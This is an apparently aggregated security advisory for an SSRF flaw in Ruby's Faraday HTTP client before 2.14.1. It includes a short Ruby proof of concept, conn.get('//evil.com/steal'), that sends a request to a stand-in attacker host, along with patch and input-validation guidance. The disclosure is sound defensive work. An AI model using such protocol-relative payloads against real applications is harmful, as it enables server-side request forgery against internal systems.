CVE-2026-25765
mediumpriority · track · 0EPSS 0.004 · 34 %ileDEEURUUSEPSS · scored 2026-10-27
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.
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- WID-SEC-W-2026-0552Fluentd: Mehrere SchwachstellenDeutsch2026-02-26csaf · cert_bundDE
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- GHSA-33mh-2634-fwr2Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url2026-02-09ghsa · osvUS
### Impact Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's `get()`, `post()`, `build_url()`, or other request methods, an attacker can supply a protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with `/`, so protocol-relative URLs bypass it entirely. **Example:** ```ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com ``` ### Patches Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected. ### Workarounds **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.** Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically: - Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday Example validation: ```ruby def safe_path(user_input) raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]}) user_input end ```
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- https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bccnnvd
- https://github.com/lostisland/faraday/releasesPatchcnnvd
- https://github.com/lostisland/faraday/releases/tag/v2.14.1cnnvd
- https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2cnnvd
- https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bcenisa_euvd
- https://github.com/lostisland/faraday/releases/tag/v2.14.1enisa_euvd
- https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2enisa_euvd
- https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bcPatchnvd
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